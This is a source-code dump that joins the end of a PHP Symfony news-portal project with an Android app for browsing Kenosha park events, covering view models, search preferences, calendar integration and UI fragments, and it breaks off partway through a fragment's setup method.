->setPostBody($entity->getPostbody());
return $model;
}
public static function dtoToEntity(PostCreateDto $dto): Post
{
$entity = new Post($dto->title);
$entity
->setPostbody($dto->postBody)
->setShortDescription($dto->shortDescription)
->setCategory($dto->category)
->setImage($dto->image);
return $entity;
}
public static function updateEntity(PostCreateDto $dto, Post $entity): Post
{
$entity
->setTitle($dto->title)
->setPostbody($dto->postBody)
->setShortDescription($dto->shortDescription)
->setCategory($dto->category)
->setImage($dto->image);
return $entity;
}
public static function entityToDto(Post $post): PostCreateDto
{
$dto = new PostCreateDto();
$dto->title = $post->getTitle();
$dto->category = $post->getCategory();
$dto->image = $post->getImage();
$dto->shortDescription = $post->getShortDescription();
$dto->postBody = $post->getPostbody();
$dto->publicationDate = null == $post->getPublicationDate() ? false : true;
return $dto;
}
}
<file_sep>/src/DataFixtures/AbstractFixtures.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\DataFixtures;
use Doctrine\Bundle\FixturesBundle\Fixture;
use Faker\Factory;
abstract class AbstractFixtures extends Fixture
{
protected $faker;
public function __construct()
{
$this->faker = Factory::create();
}
}
<file_sep>/src/Controller/DefaultController.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Controller;
use App\Service\HomePage\HomePageServiceInterface;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
/**
* Controller to display post data in the home-page
*
* @author <NAME> <<EMAIL>>
*/
final class DefaultController extends AbstractController
{
public function index(HomePageServiceInterface $homePageService): Response
{
$posts = $homePageService->getPosts();
$topPosts = $homePageService->getTopPosts();
$headerPost = $homePageService->getMainPost();
return $this->render('default/index.html.twig', [
'posts' => $posts,
'topposts' => $topPosts,
'mainpost' => $headerPost,
]);
}
}
<file_sep>/src/Model/Category.php
<?php
declare(strict_types=1);
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Model;
final class Category
{
protected $slug;
private $name;
private $id;
public function __construct(int $id, string $name, string $slug)
{
$this->name = $name;
$this->id = $id;
$this->slug = $slug;
}
public function getName(): string
{
return $this->name;
}
public function getId()
{
return $this->id;
}
public function getSlug()
{
return $this->slug;
}
}
<file_sep>/src/Service/PostPage/PostPresentationService.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Service\PostPage;
use App\Collection\PostCollection;
use App\Model\Category;
use App\Model\Post;
use App\Mappers\PostMapper;
use App\Repository\Post\PostRepositoryInterface;
class PostPresentationService implements PostServiceInterface
{
private $postRepository;
public function __construct(PostRepositoryInterface $postRepository)
{
$this->postRepository = $postRepository;
}
public function findById(int $id): ?Post
{
$entity = $this->postRepository->findById($id);
if (null == $entity) {
return null;
}
$model = PostMapper::entityToModel($entity);
return $model;
}
public function getPostsByCategory(Category $category): ?PostCollection
{
$entities = $this->postRepository->getPostsByCategory($category);
$posts = new PostCollection();
foreach ($entities as $entity) {
$posts->addPost(PostMapper::entityToModel($entity));
}
return $posts;
}
}
<file_sep>/src/Mappers/CategoryMapper.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Mappers;
use App\Entity\Category;
use App\Model\Category as CategoryModel;
class CategoryMapper
{
public static function entityToModel(Category $entity): CategoryModel
{
$model = new CategoryModel(
$entity->getId(),
$entity->getTitle(),
$entity->getSlug()
);
return $model;
}
}
<file_sep>/src/Form/PostCreateType.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Form;
use App\Form\Dto\PostCreateDto;
use App\Entity\Category;
use Symfony\Component\Form\Extension\Core\Type\CheckboxType;
use Symfony\Component\Form\Extension\Core\Type\FileType;
use Symfony\Component\Form\Extension\Core\Type\TextType;
use Symfony\Component\Form\AbstractType;
use Symfony\Bridge\Doctrine\Form\Type\EntityType;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\OptionsResolver\OptionsResolver;
final class PostCreateType extends AbstractType
{
public function buildForm(FormBuilderInterface $builder, array $options)
{
$builder
->add('title', TextType::class)
->add('shortDescription', TextType::class)
->add('category', EntityType::class, [
'class' => Category::class,
'choice_label' => 'title',
])
->add('postBody', TextType::class)
->add('imageFile', FileType::class)
->add('publicationDate', CheckboxType::class)
;
}
public function configureOptions(OptionsResolver $resolver)
{
$resolver->setDefaults(['data_class' => PostCreateDto::class]);
}
}
<file_sep>/tests/Service/Category/CategoryServiceTest.php
<?php
class CategoryServiceTest
{
}<file_sep>/src/Entity/Category.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Entity;
use Doctrine\Common\Collections\ArrayCollection;
use Doctrine\Common\Collections\Collection;
use Doctrine\ORM\Mapping as ORM;
use Gedmo\Mapping\Annotation as Gedmo;
/**
*
* @ORM\Table(name="category")
* @ORM\Entity(repositoryClass="App\Repository\Category\CategoryRepository")
*
*/
class Category
{
/**
* @ORM\Id()
* @ORM\GeneratedValue()git
* @ORM\Column(type="integer")
*/
private $id;
/**
* @ORM\Column(type="string", length=100)
*/
private $title;
/**
* @Gedmo\Slug(fields={"title"}, updatable=false)
* @ORM\Column(length=100, unique=false)
*/
protected $slug;
/**
* @ORM\OneToMany(targetEntity="App\Entity\Post", mappedBy="category")
*/
private $post;
public function __construct(string $title)
{
$this->title = $title;
$this->post = new ArrayCollection();
}
public function getId(): int
{
return $this->id;
}
public function getTitle(): string
{
return $this->title;
}
public function setTitle(string $title): self
{
$this->title = $title;
return $this;
}
public function getSlug()
{
return $this->slug;
}
/**
* @return Collection|Post[]
*/
public function getPost(): Collection
{
return $this->post;
}
public function addPost(Post $post): self
{
if (!$this->post->contains($post)) {
$this->post[] = $post;
$post->setCategory($this);
}
return $this;
}
public function removePost(Post $post): self
{
if ($this->post->contains($post)) {
$this->post->removeElement($post);
// set the owning side to null (unless already changed)
if ($post->getCategory() === $this) {
$post->setCategory(null);
}
}
return $this;
}
}
| 829e9f50133119e24d6148db13fdc24c046153a4 | [
"PHP"
] | 29 | PHP | AntinDehoda/news_portal | c229d0c4f50333c73d5aa256ce045dd22e518c09 | e9ae0997794b3003aae0ac2415cd56c0f60568fd |
refs/heads/master | <repo_name>princerajeev21/cancer-wscbc<file_sep>/Wisconsin_BreastCancer.R
#STEP 1 - DATA INGESTION
#load data from csv file
cancer_data <- read.csv("breast_cancer.csv",stringsAsFactors = FALSE)
#View(cancer_data)
#check the structure of the data
str(cancer_data)
#STEP 2 - DATA PREPARATION
#since ID provides no useful information for future predictions, we remove it.
cancer_data <- cancer_data[-1]
#drop field with NA values
cancer_data <- cancer_data[-32]
#recheck the new structure of data
str(cancer_data)
#we are to predict if a case of cancer is benign or malignant.
#the diagonis field is of most importance
#check the diagonis field
table(cancer_data$diagnosis)
#check the data type of diagnosis field
class(cancer_data$diagnosis)
#Most machine learnig Algorithms work on factors, so we will convert
#diagnosis field from character into factor and
#also provide informative labels to its data
cancer_data$diagnosis <- factor(cancer_data$diagnosis,levels=c('B','M'),labels=c("Benign","Malignant"))
#recheck the class of diagnosis field
class(cancer_data$diagnosis)
table(cancer_data$diagnosis)
#calculate te percentage of each cases of cancer
round(prop.table(table(cancer_data$diagnosis)) * 100,digits=1)
#lets now take a look at the other fields
summary(cancer_data)
#we are interested in the way a cancer is classified
#we use radius_mean, area_mean and smoothness_mean to deteremine so
#lets take a look at these three fields in detail
summary(cancer_data[c("radius_mean","area_mean","smoothness_mean")])
#STEP 3 - DATA TRANSFORMATION
#since we need equally scaled values for using
#k-NN method, which is not available in the fields selected
#we will use a normalize function to normalize the values
#Define the normalize function
normalize <- function(x){
return(((x-min(x)))/(max(x)-min(x)))
}
#test the normalize function
normalize(c(1, 2, 3, 4, 5))
normalize(c(10, 20, 30, 40, 50))
#the normalize function works fine
#Lets apply the normalize function to all fields using
# lapply() function which applies the function to all fields
#without the need to write the code for each field
#after using lapply() function we will convert all the fields
#into data-frames as they are all currently numeric
cancer_data_normal <- as.data.frame(lapply(cancer_data[2:31],normalize))
#lets check the new data
summary(cancer_data_normal[c("radius_mean","area_mean","smoothness_mean")])
#now all three fields range between 0 and 1
#STEP 4 - CREATING TRAINING AND TEST DATA SETS
#divide first 469 records into training set
#and last 100 records into test set
cancer_data_train <- cancer_data_normal[1:469, ]
cancer_data_test <- cancer_data_normal[470:569, ]
#separate the target field aka "diagnosis" field and
#put it into factor vectors using labels
cancer_data_train_labels <- cancer_data[1:469,1]
cancer_data_test_labels <- cancer_data[470:569,1]
#STEP 5 - TRAINING A MODEL ON THE DATA
#import necessary packagaes
require(class)
#train the model using k-NN model with k=21
cancer_data_test_pred <- knn(train=cancer_data_train,test=cancer_data_test,
cl=cancer_data_train_labels,k=21)
#STEP 6 - EVALUATING MODEL PERFORMANCE
require(gmodels)
CrossTable(x=cancer_data_test_labels,y=cancer_data_test_pred,prop.chisq=FALSE)
| b98eeec7af8051404c9c5967c4dca613284ddfb6 | [
"R"
] | 1 | R | princerajeev21/cancer-wscbc | 3894a4c51c9c2b7b491afb6f191dbf1b55a095bb | 3f1099d9610b076612ca49dd26470731912912b7 |
refs/heads/master | <repo_name>dakotajd/Kenosha-Parks<file_sep>/app/src/kenoshaPark/java/edu/uwp/appfactory/eventsmanagement/infoscreen/LinkFragment.java
package edu.uwp.appfactory.eventsmanagement.infoscreen;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.RecyclerView;
import android.support.v7.widget.Toolbar;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.TextView;
import edu.uwp.appfactory.eventsmanagement.R;
import edu.uwp.appfactory.eventsmanagement.ReminderScreen.ReminderAdapter;
/**
* Created by hanh on 4/25/17.
*/
public class LinkFragment extends Fragment {
private View rootView;
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
rootView = inflater.inflate(R.layout.fragment_link, container, false);
View.OnClickListener listener1 = getClickListener("https://www.facebook.com/City-of-Kenosha-Parks-Alliance-1264534383627514/");
View.OnClickListener listener2 = getClickListener("https://www.mykpl.info/");
View.OnClickListener listener3 = getClickListener("http://kenoshaymca.org/");
View.OnClickListener listener4 = getClickListener("http://www.bgckenosha.org/");
ImageView logo1 = (ImageView)rootView.findViewById(R.id.logo1);
ImageView logo2 = (ImageView)rootView.findViewById(R.id.logo2);
ImageView logo3 = (ImageView)rootView.findViewById(R.id.logo3);
ImageView logo4 = (ImageView)rootView.findViewById(R.id.logo4);
TextView tv1= (TextView)rootView.findViewById(R.id.link1);
TextView tv2= (TextView)rootView.findViewById(R.id.link2);
TextView tv3= (TextView)rootView.findViewById(R.id.link3);
TextView tv4= (TextView)rootView.findViewById(R.id.link4);
logo1.setOnClickListener(listener1);
logo2.setOnClickListener(listener2);
logo3.setOnClickListener(listener3);
logo4.setOnClickListener(listener4);
tv1.setOnClickListener(listener1);
tv2.setOnClickListener(listener2);
tv3.setOnClickListener(listener3);
tv4.setOnClickListener(listener4);
return rootView;
}
private View.OnClickListener getClickListener(final String url){
return new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent i = new Intent(Intent.ACTION_VIEW);
i.setData(Uri.parse(url));
startActivity(i);
}
};
}
}
<file_sep>/app/src/main/java/edu/uwp/appfactory/eventsmanagement/Components/ImageSlider/ImageSliderAdapter.java
package edu.uwp.appfactory.eventsmanagement.Components.ImageSlider;
import android.support.v4.app.Fragment;
import android.support.v4.app.FragmentManager;
import android.support.v4.app.FragmentStatePagerAdapter;
import edu.uwp.appfactory.eventsmanagement.model.Realm.RealmString;
import io.realm.RealmList;
/**
* Created by hanh on 3/27/17.
*/
public class ImageSliderAdapter extends FragmentStatePagerAdapter{
private RealmList<RealmString> images;
public void setImages(RealmList<RealmString> images) {
this.images = images;
}
public ImageSliderAdapter(FragmentManager fm) {
super(fm);
}
@Override
public Fragment getItem(int position) {
ImageSliderFragment fragment = new ImageSliderFragment();
fragment.setImage(images.get(position).toString());
return fragment;
}
@Override
public int getCount() {
return images.size();
}
}
<file_sep>/app/src/main/java/edu/uwp/appfactory/eventsmanagement/util/SearchUtil.java
package edu.uwp.appfactory.eventsmanagement.util;
import android.content.Context;
import android.content.SharedPreferences;
import android.preference.PreferenceManager;
import android.support.annotation.Nullable;
import edu.uwp.appfactory.eventsmanagement.model.EventFilter;
/**
* Created by dakota on 6/16/17.
*/
public class SearchUtil {
private static final String PREF_SEARCH_QUERY = "searchQuery";
private static final String PREF_FILTER_START_DATE = "filterStartDate";
private static final String PREF_FILTER_END_DATE = "filterEndDate";
private static final String PREF_FILTER_LOCATION = "filterLocation";
private static final String PREF_FILTER_DISTANCE = "filterDistance";
private static final String PREF_FILTER_REOCCURRING = "filterReoccurring";
public static void setFilterCriteria(Context context, EventFilter filter) {
PreferenceManager.getDefaultSharedPreferences(context)
.edit()
.putString(PREF_FILTER_LOCATION, filter.getLocation())
.putLong(PREF_FILTER_START_DATE, filter.getStartDate())
.putLong(PREF_FILTER_END_DATE, filter.getEndDate())
.putInt(PREF_FILTER_DISTANCE, filter.getDistance())
.putBoolean(PREF_FILTER_REOCCURRING, filter.isReoccurring())
.apply();
}
public static EventFilter getFilterCriteria(Context context) {
SharedPreferences sp = PreferenceManager.getDefaultSharedPreferences(context);
return new EventFilter(
sp.getString(PREF_FILTER_LOCATION, null),
sp.getLong(PREF_FILTER_START_DATE, -1),
sp.getLong(PREF_FILTER_END_DATE, -1),
sp.getInt(PREF_FILTER_DISTANCE, -1),
sp.getBoolean(PREF_FILTER_REOCCURRING, false));
}
public static void setSearchQuery(Context context, String query) {
PreferenceManager.getDefaultSharedPreferences(context)
.edit()
.putString(PREF_SEARCH_QUERY, query)
.apply();
}
@Nullable
public static String getSearchQuery(Context context) {
return PreferenceManager.getDefaultSharedPreferences(context)
.getString(PREF_SEARCH_QUERY, null);
}
}
<file_sep>/app/src/main/java/edu/uwp/appfactory/eventsmanagement/Components/CustomYoutubePlayer.java
package edu.uwp.appfactory.eventsmanagement.Components;
import android.os.Bundle;
import com.google.android.youtube.player.YouTubeInitializationResult;
import com.google.android.youtube.player.YouTubePlayer;
import com.google.android.youtube.player.YouTubePlayerSupportFragment;
import edu.uwp.appfactory.eventsmanagement.util.Config;
/**
* Created by hanh on 3/29/17.
*/
public class CustomYoutubePlayer extends YouTubePlayerSupportFragment implements YouTubePlayer.OnInitializedListener {
private String videoId;
public void setVideoId(String videoId){
this.videoId = videoId;
}
@Override
public void onInitializationSuccess(YouTubePlayer.Provider provider, YouTubePlayer youTubePlayer, boolean b) {
if (!b) {
youTubePlayer.setFullscreenControlFlags(YouTubePlayer.FULLSCREEN_FLAG_CONTROL_SYSTEM_UI);
youTubePlayer.cueVideo(videoId);
}
}
@Override
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
initialize(Config.YOUTUBE_API_KEY, this);
}
@Override
public void onInitializationFailure(YouTubePlayer.Provider provider, YouTubeInitializationResult youTubeInitializationResult) {
}
}
<file_sep>/README.md
# Kenosha Parks
> This app was developed as a UW-Parkside App Factory project for the Kenosha County parks organization for them to use as a way to manage events at different parks throughout any given year. The app consumes a REST API (also developed by the App Factory) that assists with keeping track of events for each park. The code in this repository is just a sample. The app will not compile because certain parts have been removed by request of the App Factory. This app was developed with a team of 3 other App Factory members/students.
The app uses the following technologies/libraries/patterns:
* Android Build Flavors (the other flavors for this project are not in this repository)
* Google Maps
* Retrofit
* OKHTTP 3
* GSON
* MVVM Architecture
<file_sep>/app/src/main/java/edu/uwp/appfactory/eventsmanagement/viewmodel/EventDetailViewModel.java
package edu.uwp.appfactory.eventsmanagement.viewmodel;
import android.app.Activity;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.databinding.Bindable;
import android.databinding.BindingAdapter;
import android.provider.CalendarContract;
import android.support.v7.app.AlertDialog;
import android.util.Log;
import android.view.View;
import android.widget.ImageView;
import android.widget.Toast;
import com.bumptech.glide.Glide;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Locale;
import edu.uwp.appfactory.eventsmanagement.model.CalendarAPI.Item;
import edu.uwp.appfactory.eventsmanagement.model.Realm.Event;
import edu.uwp.appfactory.eventsmanagement.network.EventService;
import edu.uwp.appfactory.eventsmanagement.network.RetrofitClient;
import edu.uwp.appfactory.eventsmanagement.util.Config;
import retrofit2.Call;
import retrofit2.Callback;
import retrofit2.Response;
/**
* Created by ChenMingxi on 4/21/17.
*
* https://nullpointer.wtf/android/mvvm-architecture-data-binding-library/
*/
public class EventDetailViewModel extends EventItemViewModel {
private final Event event;
private Activity context;
private String prevEventName = "";
private static final String TAG = "EventDetailViewModel";
public EventDetailViewModel(Event event, Activity context) {
super(context, event);
this.event = event;
this.context = context;
}
public String getTitle() {
//return "Child Event";
return event.getTitle();
}
@Bindable
public int getShowDistance() { return super.getShowDistance(); }
@Bindable
public String getDistance() { return super.getDistance(); }
public int getShowOrganization() { return getOrganization() != null ? View.VISIBLE : View.GONE; }
public int getShowContact() { return getContact() != null ? View.VISIBLE : View.GONE; }
public int getShowRegistration() { return getRegistrationMethod() != null ? View.VISIBLE : View.GONE; }
public int getShowSchedule() { return getSchedule() != null ? View.VISIBLE : View.GONE; }
public String getIsIndoors() {
return event.getIsIndoor() ? "Indoors" : "Outdoors";
}
public String getDescription() {
return event.getDescription();
}
public String getDateAndTime() {
SimpleDateFormat dateFormat = new SimpleDateFormat("EEEE MMMM d", Locale.getDefault());
String startDate = dateFormat.format(event.getStartDate());
String endDate = dateFormat.format(event.getEndDate());
if (startDate.equals(endDate)) {
if (getStartTime().equals("ALL DAY")) {
return startDate + "\n" + getStartTime();
} else {
return startDate + "\n" + getStartTime() + " to " + getEndTime();
}
} else {
return startDate + " " + getStartTime() + "\nto\n" + endDate + " " + getEndTime();
}
}
public String getRegistrationMethod() {
return event.getRegistration();
}
public String getSchedule() { return event.getSchedule(); }
public String getOrganization() {
return event.getOrganization();
}
public String getLocationName() {
return super.getLocationName();
}
public String getStartTime() {
return super.getStartTime();
}
public String getEndTime() {
return super.getEndTime();
}
public String getContact() {
return event.getContact();
}
public LocationViewModel getLocationViewModel() {
return new LocationViewModel(event.getLocationName(), event.getAddress(), event.getLat(), event.getLong());
}
public String getImage() {
return event.getImage();
}
@BindingAdapter("image")
public static void loadImage(final ImageView imageView, String imageUrl) {
final Context context = imageView.getContext();
Log.d("Image", imageUrl);
Glide.with(context)
.load(imageUrl)
.fitCenter()
.into(imageView);
}
public String getPrevEventName() {
return prevEventName;
}
public void setPrevEventName(String prevEventName) {
this.prevEventName = prevEventName;
}
public void addEventToCalendar(View v) {
if (event.isReoccurring()) {
new AlertDialog.Builder(context)
.setTitle("Add Event")
.setMessage("This event is a recurring event. Would you like to add this date or all dates?")
.setNeutralButton("This Date", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
addSingleEvent();
dialog.dismiss();
}
})
.setPositiveButton("All Dates", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
addRecurringEvent();
dialog.dismiss();
}
})
.show();
} else {
addSingleEvent();
}
}
private void addSingleEvent() {
Log.d(TAG, "Call function add to calendar");
Intent intent = new Intent(Intent.ACTION_EDIT);
intent.setType("vnd.android.cursor.item/event");
intent.putExtra(CalendarContract.Events.TITLE, event.getTitle());
intent.putExtra(CalendarContract.EXTRA_EVENT_BEGIN_TIME, event.getStartDate().getTime());
intent.putExtra(CalendarContract.EXTRA_EVENT_END_TIME, event.getEndDate().getTime());
intent.putExtra(CalendarContract.Events.ALL_DAY, getStartTime().equals("ALL DAY"));
intent.putExtra(CalendarContract.Events.DESCRIPTION, event.getDescription());
intent.putExtra(CalendarContract.Events.EVENT_LOCATION, event.getLocationName());
context.startActivity(intent);
prevEventName = event.getTitle();
}
private void addRecurringEvent() {
final String calendarName = event.getLocationName();
EventService eventService = RetrofitClient.getClient(Config.BASE_URLS.get(calendarName)).create(EventService.class);
Call<Item> call = eventService.getEvent(event.getRecurringEventId());
call.enqueue(new Callback<Item>() {
@Override
public void onResponse(Call<Item> call, Response<Item> response) {
SimpleDateFormat timeFormat = new SimpleDateFormat("h:mm a", Locale.getDefault());
try {
Item item = response.body();
Event event = new Event(context, calendarName, item);
Log.d(TAG, event.toString());
Log.d(TAG, "Call function add to calendar");
Intent intent = new Intent(Intent.ACTION_EDIT);
intent.setType("vnd.android.cursor.item/event");
intent.putExtra(CalendarContract.Events.TITLE, event.getTitle());
intent.putExtra(CalendarContract.EXTRA_EVENT_BEGIN_TIME, event.getStartDate().getTime());
intent.putExtra(CalendarContract.EXTRA_EVENT_END_TIME, event.getEndDate().getTime());
intent.putExtra(CalendarContract.Events.ALL_DAY, timeFormat.format(event.getStartDate()).equals("12:00 AM"));
intent.putExtra(CalendarContract.Events.DESCRIPTION, event.getDescription());
intent.putExtra(CalendarContract.Events.EVENT_LOCATION, event.getLocationName());
intent.putExtra(CalendarContract.Events.RRULE, item.getRecurrence().toString().replace("[RRULE:", "").replace("]",""));
context.startActivity(intent);
prevEventName = event.getTitle();
} catch (ParseException | NullPointerException e) {
Log.e(TAG, e.getMessage());
Toast.makeText(context, "Unable to add recurring event", Toast.LENGTH_LONG).show();
}
}
@Override
public void onFailure(Call<Item> call, Throwable t) {
Log.e(TAG, t.getMessage());
Toast.makeText(context, "Connect to the Internet to add recurring event", Toast.LENGTH_LONG).show();
}
});
}
}
<file_sep>/app/src/main/java/edu/uwp/appfactory/eventsmanagement/viewmodel/EventItemViewModel.java
package edu.uwp.appfactory.eventsmanagement.viewmodel;
import android.content.Context;
import android.content.Intent;
import android.databinding.BaseObservable;
import android.databinding.Bindable;
import android.databinding.BindingAdapter;
import android.graphics.Bitmap;
import android.location.Location;
import android.support.v4.graphics.drawable.RoundedBitmapDrawable;
import android.support.v4.graphics.drawable.RoundedBitmapDrawableFactory;
import android.view.View;
import android.widget.ImageView;
import com.bumptech.glide.Glide;
import com.bumptech.glide.request.target.BitmapImageViewTarget;
import java.math.RoundingMode;
import java.text.DecimalFormat;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;
import java.util.GregorianCalendar;
import java.util.HashMap;
import java.util.Locale;
import edu.uwp.appfactory.eventsmanagement.BR;
import edu.uwp.appfactory.eventsmanagement.EventDetailActivity;
import edu.uwp.appfactory.eventsmanagement.R;
import edu.uwp.appfactory.eventsmanagement.model.Realm.Event;
/**
* Created by dakota on 3/26/17.
*
* https://nullpointer.wtf/android/mvvm-architecture-data-binding-library/
*/
public class EventItemViewModel extends BaseObservable {
private Context mContext;
private Event mEvent;
private Location mLocation;
public EventItemViewModel(Context context, Event event) {
mContext = context;
mEvent = event;
}
public void setLocation(Location location) {
mLocation = location;
notifyPropertyChanged(BR.distance);
notifyPropertyChanged(BR.showDistance);
}
public String getName() {
return mEvent.getTitle();
}
public String getLocationName() { return mEvent.getLocationName(); }
public String getPrice() {
return mEvent.getPrice();
}
public String getDescription() {
return mEvent.getDescription();
}
public String getStartDate() {
SimpleDateFormat df = new SimpleDateFormat("MMM d", Locale.getDefault());
return df.format(mEvent.getStartDate());
}
public String getAgeGroup() {
return mEvent.getAgeGroup();
}
public String getIsIndoors() {
return mEvent.getIsIndoor() ? "Indoors" : "Outdoors";
}
public String getSetting() {
return mEvent.getSetting();
}
public String getStartTime() {
SimpleDateFormat timeFormat = new SimpleDateFormat("h:mm a", Locale.getDefault());
String startTime = timeFormat.format(mEvent.getStartDate());
if (startTime.equals("12:00 AM")) {
return "ALL DAY";
}
return startTime;
}
public String getEndTime() {
SimpleDateFormat timeFormat = new SimpleDateFormat("h:mm a", Locale.getDefault());
String endTime = timeFormat.format(mEvent.getEndDate());
if (endTime.equals("11:59 PM")) {
return "ALL DAY";
}
return endTime;
}
@Bindable
public int getShowDistance() { return mLocation != null ? View.VISIBLE : View.GONE; }
@Bindable
public String getDistance() {
if (mLocation != null) {
Location eventLocation = new Location("event");
eventLocation.setLatitude(mEvent.getLat());
eventLocation.setLongitude(mEvent.getLon());
Float distance = mLocation.distanceTo(eventLocation)/(float) 1609.344;
DecimalFormat df = new DecimalFormat("#.#");
df.setRoundingMode(RoundingMode.CEILING);
return df.format(distance) + " mi";
} else {
return "";
}
}
public void clickEvent(EventItemViewModel eventItemViewModel) {
Event event = eventItemViewModel.mEvent;
Intent intent = new Intent(mContext, EventDetailActivity.class);
intent.putExtra("ID", event.getId());
mContext.startActivity(intent);
}
public String getImage() {
return mEvent.getImage();
}
// public HashMap<String, String> getSchedule() {
// HashMap<String, String> schedule = new HashMap<>();
// schedule.put("12:00pm", "Lunch");
// schedule.put("1:00pm", "Go Shopping");
// schedule.put("2:00pm", "Musical event");
// schedule.put("3:00pm", "Group meeting");
// return schedule;
// }
@BindingAdapter("image_icon")
public static void loadImage(final ImageView imageView, String imageUrl) {
final Context context = imageView.getContext();
Glide.with(context)
.load(imageUrl)
.asBitmap()
.centerCrop()
.into(new BitmapImageViewTarget(imageView) {
@Override
protected void setResource(Bitmap resource) {
RoundedBitmapDrawable circularBitmapDrawable =
RoundedBitmapDrawableFactory.create(context.getResources(), resource);
circularBitmapDrawable.setCircular(true);
imageView.setImageDrawable(circularBitmapDrawable);
}
});
}
}
<file_sep>/app/src/main/java/edu/uwp/appfactory/eventsmanagement/EventListScreen/EventListFragment.java
package edu.uwp.appfactory.eventsmanagement.EventListScreen;
import android.content.Context;
import android.content.Intent;
import android.location.Location;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.v4.app.Fragment;
import android.support.v4.view.MenuItemCompat;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.RecyclerView;
import android.support.v7.widget.SearchView;
import android.support.v7.widget.Toolbar;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import org.apache.commons.lang.time.DateUtils;
import java.util.Calendar;
import java.util.Date;
import java.util.List;
import edu.uwp.appfactory.eventsmanagement.R;
import edu.uwp.appfactory.eventsmanagement.model.EventFilter;
import edu.uwp.appfactory.eventsmanagement.model.Realm.Event;
import edu.uwp.appfactory.eventsmanagement.navigation.NavigationActivity;
import edu.uwp.appfactory.eventsmanagement.util.RealmControllers.RealmReader;
import edu.uwp.appfactory.eventsmanagement.util.ReminderUtil;
import edu.uwp.appfactory.eventsmanagement.util.SearchUtil;
import rx.Observable;
import rx.Subscription;
/**
* Created by dakota on 3/26/17.
*/
//TODO - Indicate search/filter are active
public class EventListFragment extends Fragment {
private RecyclerView mEventRecyclerView;
private EventListAdapter mAdapter;
private List<Event> mEventList;
private View rootView;
private RealmReader mRealmReader;
private static final int REQUEST_FILTER = NavigationActivity.REQUEST_FILTER;
private static final String TAG = "EventListFragment";
private EventFilter currentFilter = null;
private String currentSearch = null;
public static final int RESULT_FILTER = 78;
public static final int RESULT_RESET = 79;
private boolean pendingFilter = false;
private SearchView mSearchView;
private Location mLocation;
//private DatabaseReference mDatabaseReference;
private Subscription eventsByName;
private Subscription eventFilterSubscription;
private EventFilterListener mEventFilterListener;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setHasOptionsMenu(true);
ReminderUtil.promptForCalendarPermissions(getActivity());
}
@Override
public void onCreateOptionsMenu(Menu menu, MenuInflater inflater) {
// Do something that differs the Activity's menu here
inflater.inflate(R.menu.event_list_menu, menu);
MenuItem searchItem = menu.findItem(R.id.action_search);
mSearchView = (SearchView) MenuItemCompat.getActionView(searchItem);
mSearchView.setOnQueryTextListener(new SearchView.OnQueryTextListener() {
//Write to SharedPrefs when user submits
@Override
public boolean onQueryTextSubmit(String query) {
if (searchItem != null) {
searchItem.collapseActionView();
if (isVisible()) {
filterEventsByName(query);
}
}
SearchUtil.setSearchQuery(getContext(), query);
Log.d(TAG, "Submit: " + query);
return false;
}
//Filter on each text change
@Override
public boolean onQueryTextChange(String newText) {
if (isVisible()) {
filterEventsByName(newText);
}
Log.d(TAG, "Change: " + newText);
return true;
}
});
//Write query to preferences when focus changes
mSearchView.setOnQueryTextFocusChangeListener((v, hasFocus) -> {
if (!hasFocus) {
SearchUtil.setSearchQuery(getContext(), mSearchView.getQuery().toString());
Log.d(TAG, "TextChanged: " + mSearchView.getQuery());
if (isVisible()) {
filterEventsByName(mSearchView.getQuery().toString());
}
}
});
//When search is clicked, reload query text from preferences
mSearchView.setOnSearchClickListener(v -> {
mSearchView.setQuery(SearchUtil.getSearchQuery(getContext()), false);
Log.d(TAG, "Search was clicked " + SearchUtil.getSearchQuery(getContext()));
});
mSearchView.setIconifiedByDefault(false);
super.onCreateOptionsMenu(menu, inflater);
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
switch (item.getItemId()) {
//TODO: manage this
case R.id.action_filter:
mEventFilterListener.filterClicked();
break;
}
return super.onOptionsItemSelected(item);
}
@Nullable
@Override
public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
mRealmReader = new RealmReader();
rootView = inflater.inflate(R.layout.fragment_event_list, container, false);
setupToolbar();
mEventList = mRealmReader.getEvents();
mAdapter = new EventListAdapter(mEventList, getActivity());
executePendingFilter();
executePendingSearch();
mAdapter.updateDistance(mLocation);
